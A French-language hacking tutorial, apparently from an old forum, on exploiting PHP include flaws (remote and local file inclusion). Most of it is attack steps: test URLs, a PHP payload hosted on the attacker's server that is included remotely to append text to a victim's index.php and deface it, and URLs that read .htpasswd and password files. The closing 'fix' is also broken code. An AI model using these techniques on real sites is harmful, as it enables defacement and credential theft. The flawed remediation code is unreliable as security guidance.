La faille include c'est la possibilité d'inserer du code malveillant
dans une page deja existante.
Je traduit => si vous trouvez une faille include sur un site, vous pourrez
faire a peu pres tout ce que vous voudrez avec !
Tout d'abord qu'est ce que ce "include" dans "faille include" et
bien, les include sont les outils des fegnants !
Au lieu de repeter des centaines de fois la meme protion de code, on créer
une page "portion_de_code.php" puis on l'inclus
la ou en a besoin grace a la commande "include".
exemple =>
<?
// code quelquonque ...
// didonc, ici j'aurais bien besoin du code long et chian que je doit mettre
au moins 10 fois dans toute les pages de
// mon site !
//
// A mais j'alais oublier, c'est cool alors ! Je n'ai pas besoin de me faire
chier a le taper, vue que le l'ai mit dans la
// page "code_long_et_chiant_a_taper.php" !!
$page_a_inclure = "code_long_et_chiant_a_taper.php"; // je stoque
le nom du fichier dans une variable (dans une boite)
include("$page_a_inclure"); // et je l'inclut !
// Cool je ne me suis pas fait chier a taper tout le code ! A la place, j'ai
tapé que 2 mini-ligne de code ! cooool
?>
alors, c'est bien zoli tout ca mais comment voit on si une page est incluse
?
regardez l'adresse suivante :
http://siteouaib.com/index.php?page=coolCaAlors.php
remarquez bien le "page=coolCaAlors.php"
La page "coolCaAlors.php" a été incluse !!
Cela ne veut pas dire pour autant que le site est vulnerable ! Alors procedons
a un test :
a la place de :
http://siteouaib.com/index.php?page=coolCaAlors.php
essayez
http://siteouaib.com/index.php?page=http://www.google.com
si google s'affiche au beau milieu de la page, c'est que le site est vulnerable
!
C'est donc la que reside cette faille , dans le fait que l'on peut inclure
n'importe quel page au sein d'une autre
si on met :
http://sitealacon.com/index.php?page=http://www.http://users.rockweb.org/Raven45
Le site sera inseré dans index , si ce n'est pas le cas c'est donc
que la faille est bouchée
Cette faille donc va nous permettre d'inserer un code malveillant venant d'un
autre site sinon mieu du notre ^^
ex : sur mon site je crée un fichier inc.php et dedans je met :
<?
$fichier=fopen('index.php','a'); //cette ligne ouvre le fichier index.php
fwrite($Fichier,'Web Site Defaced'); // Cette ligne ecrit dans index.php
fclose($fichier); // On ferme le fichier , Facultatif
?>
Donc on a cette page sur notre serveur que je nomerai http://toto.fr
Maintenant on procede a l'inclusion :
http://sitealacon.com/index.php?page=http://toto.fr/inc
Et voila le site est "defacé", du moins, la page principale
a été modifié pour simuler un defacage vu que les autre
page sur
le serveur sont intactes !
C'est ti pas bo tout ca ?
Mais attention !! il ne faux pas mettre :
http://sitealacon.com/index.php?page=http://toto.fr/inc.php
mais
http://sitealacon.com/index.php?page=http://toto.fr/inc
car sinon le fichier sera interpréter sur votre serveur !!
Sachez que grace a la faille include, vous pouvez aussi inclure des fichier
interessant présent sur le serveur cible ! (passwd.txt, htacces, htpassd,
la DB ...etc.)
un exemple suffira a vous faire comprendre :
http://sitealacon.com/index.php?page=protect/.htpasswd
Et tadaa, htpasswd s'affiche au beau milieu de la page !
C'est bien joli de s'avoir l'exploiter cette faille, mais encore faudrait
il savoir la corriger !!
Au lieu de mettre le code de l'exemple on va remplacer par ca :
QUOTE
<
?
$page_a_inclure = "code_long_et_chiant_a_taper.php";
if (file_exists($page_a_inclure)) { //verifie si le fichier existe bien sur
le serveur
include("$page_a_inclure.php"); //inclus la page EN PHP
}
else {include("404.php");} //inclusion d'une page d'erreur
?>